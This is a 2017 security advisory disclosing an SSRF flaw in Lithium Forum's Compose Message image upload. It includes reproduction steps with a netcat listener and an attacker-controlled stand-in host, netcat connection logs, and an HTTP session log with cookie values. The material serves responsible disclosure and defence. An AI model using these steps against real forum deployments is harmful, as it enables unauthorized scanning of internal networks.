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Lithium Forum Server-Side Request Forgery

Lithium Forum Server-Side Request Forgery
Posted Feb 20, 2017
Authored by Vulnerability Laboratory, Vibhuti R V Nath | Site vulnerability-lab.com

Lithium Forum suffers from an SSRF vulnerability.

tags | exploit
SHA-256 | 47c31b0017b21e98e94fcdc6b40a2568424ac6f89761d2f727ab403c3a1d3c7c

Lithium Forum Server-Side Request Forgery

Change Mirror Download
Document Title:
Lithium Forum - (Compose Message) SSRF Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco,
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and ZA1/4rich. Lithium was founded in 2001 as
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a server side request forgery vulnerability in the official Lithium Forum online service web-application.

Vulnerability Disclosure Timeline:
2017-02-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Lithium Technologies
Product: Lithium Forum - Web Application (API) 2017 Q1

Exploitation Technique:

Severity Level:

Technical Details & Description:
A server side request forgery vulnerability has been discovered in the official Lithium Forum online service web-application.
The vulnerability allows remote attacker to scan the internal and external network, depending on the resultation time of the attack.

The vulnerability is located in the official Community Compose Message function. The attack vector of the vulnerability is located
on the application-side of the service and the request method to run is POST. The execution point is also the Compose Message functions.
Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application like ebay,
vodafone, att, paypal, microsoft, skype and sony.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.7
Exploitation of the ssrf web vulnerability requires a low privilege web application user account without user interaction.
Successful exploitation of the vulnerability results in local/external portscan and possible mail spoofing over header redirection.

Affected Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Lithium Forum - Community - Compose Message

Vulnerable Parameter(s):
[+] upload_url

Proof of Concept (PoC):
The server side request forgery web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an lithium forum account and login to the web-application
2. Open link "t5/notes/privatenotespage/tab/compose"
3. click add images
4. Open netcat on your attackers machine, and listen on port 1337
5. Insert the following URL as Image: "http://your-host.com:1337/mypicture.jpg"
6. After the submit, you will see a connection inside of your netcat application.
7. Successful reproduce of the vulnerability!

netcat logs:
root@xxxxxxx:~# nc -l -v -p 1337
listening on [any] 1337 ...
Warning: forward host lookup failed for outbound.sj.lithium.com: Unknown host
connect to [*********] from outbound.sj.lithium.com [***.**.***.253] 60592
GET /mypicture.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Accept: image/webp,image/*,*/*
Host: your-host.com:1337

--- PoC Session Logs [POST] ---
POST /api/2.0/images HTTP/1.1
Host: *****
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Application-Identifier: DESKTOP
Application-Version: 2.0.0
Referer: https://*****/t5/notes/composepage/note-to-user-id/584604
Content-Length: 158
Cookie: *censored* LithiumUserInfo=9403260; LithiumUserSecure=9e27764c-7d10-48e2-80c4-70fc955d7432
Connection: keep-alive

HTTP/1.1 500 Internal Server Error
Date: Wed, 01 Feb 2017 09:24:14 GMT
Server: Apache
x-frame-options: SAMEORIGIN
Content-Length: 152
Connection: close
Content-Type: application/json;charset=UTF-8


Solution - Fix & Patch:
Disallow the usage of other protocols like http on server-side requests and change the validation type of the inputs.

Security Risk:
The security risk of the server side request forgery web vulnerability is estimated as medium. (CVSS 5.7)

Credits & Authors:
Vibhuti R V Nath - [vibhuti123_i@yahoo.co.in] (http://www.vulnerability-lab.com/show.php?user=VibhutiNath)

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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